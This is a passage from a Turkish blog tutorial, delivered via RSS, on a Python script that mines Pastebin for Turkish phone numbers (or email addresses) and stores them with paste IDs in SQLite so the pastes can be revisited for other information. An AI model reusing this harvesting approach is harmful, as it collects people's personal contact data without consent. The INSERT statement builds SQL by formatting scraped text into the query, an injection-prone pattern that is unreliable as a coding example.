                                    if phonenumbers.is_valid_number(number):
                                        self.cursor.execute(&quot;INSERT INTO tb_gsm(paste_id, gsm_no) VALUES (&#39;{}&#39;, &#39;{}&#39;)&quot;.format(id, match))
                                        self.connection.commit()
                                    else:
                                        print(&quot; - Not Valid&quot;)
                                except phonenumbers.phonenumberutil.NumberParseException, e:
                                    print(&quot;{}&quot;.format(e.args[0]))&lt;/pre&gt;

&lt;p&gt;Telefon numarasının geçerliliğini &lt;code&gt;phonenumbers&lt;/code&gt; içindeki &lt;code&gt;parse&lt;/code&gt; fonksiyonuna numarayla beraber &quot;TR&quot; ifadesini yollayayacağız. Eğer numara geçersiz ise bu satırda &lt;code&gt;NumberParseException&lt;/code&gt; hatası fırlatacak, try-except bloğu bunun için.&lt;/p&gt;

&lt;p&gt;Daha sonra &lt;code&gt;is_valid_number&lt;/code&gt; fonksiyonu ile numara formatının doğru olup olmadığını kontrol edip eğer doğruysa veritabanına ekledik. Benim kullandığım tabloda üç alan var; id, paste_id ve gsm_no. Eklerken kayıt numarasını paste_id alanına kaydediyorum ki, dilediğimde aynı kaydı açıp işe yarar farklı bilgiler var mı diye bakabileyim. Anlaşıldığı üzere &lt;code&gt;execute&lt;/code&gt; fonksiyonu veritabanında sorgu işletmeye, &lt;code&gt;commit&lt;/code&gt; fonksiyonu işlemi kaydetmeye yarıyor.&lt;/p&gt;

&lt;p&gt;Koşulun içeriği bu kadar, eğer eşleşme yoksa kullanıcıya mesaj verip &lt;code&gt;sleep&lt;/code&gt; fonksiyonu ile döngünün devam etmeden önce bir saniye beklemesini sağladık.&lt;/p&gt;

&lt;p&gt;Sınıfın içeriği bu kadar. Artık sınıftan nesneyi türetip aramayı başlatabiliriz.&lt;/p&gt;

&lt;pre&gt;if __name__ == &quot;__main__&quot;:
    miner = PastebinMiner(&quot;data.db&quot;)
    miner.start()&lt;/pre&gt;

&lt;h3&gt;Acelesi Olanlara&lt;/h3&gt;
&lt;p&gt;Geçerli telefon numarası bulmak (üstelik Türkiye için) oldukça zaman alıyor. Eğer betiği fazla beklemeden test etmek istiyorsanız mail adresi gibi çok bulunan bir desen (pattern) kullanabilirsiniz.&lt;/p&gt;

&lt;p&gt;İstediğiniz kadar veri topladıktan sonra veritabanında &quot;SELECT * FROM tb_gsm&quot; gibi bir sorguyla verilere erişebilirsiniz. Ya da en baştan ben uğraşmayayım SQL ile falan derseniz execute edilen yerde veriyi metin belgesine falan yazdırabilirsiniz. Tabi daha çok yer kaplar.&lt;/p&gt;

&lt;h2&gt;Gene mi Amcalar?&lt;/h2&gt;
&lt;p&gt;Tabi ki bu yaptığımız işlemin hiç bir kötü amacı yok, sadece kendimizi geliştirmek amacıyla yapıyoruz. Betiği çocukların erişebileceği yerleden uzak tutuyoruz.&lt;/p&gt;

&lt;h3&gt;End Of Fun&lt;/h3&gt;
&lt;p&gt;İşte bu kadar, isterseniz &lt;a href=&quot;http://paste.ubuntu.com/10871081/&quot; target=&quot;_blank&quot;&gt;şuradan&lt;/a&gt; betiğin çalışan halina göz atabilirsiniz.&lt;/p&gt;

&lt;p&gt;Okuyup yorum yapmayanın koduna bug girsin, derleyicisi önüne aksın, kullandığı kütüphaneye dökümantasyon bulamasın. pyAmin!&lt;/p&gt;

&lt;p&gt;Kolay gelsin!&lt;/p&gt;</description><link>http://safkaninsan.blogspot.com/2015/04/veri-madenciligi-pastebin-toplayici-python.html</link><author>noreply@blogger.com (Umut Çağdaş Coşkun)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJSnkbfAYTQ-7A4KcaTV02J9KHFoGcZCesXGnJabzN0QPNO8bkyCsr9lMtOaAvygtOFwSwa-A76TBFyJut4i4TfpAphU8-8T3J8sHfmuc6MdUKh4inAC4kTRW4MfEBnq_KGmf8KcoMxdI/s72-c/datamining.gif" height="72" width="72"/><thr:total>1</thr:total></item></channel></rss>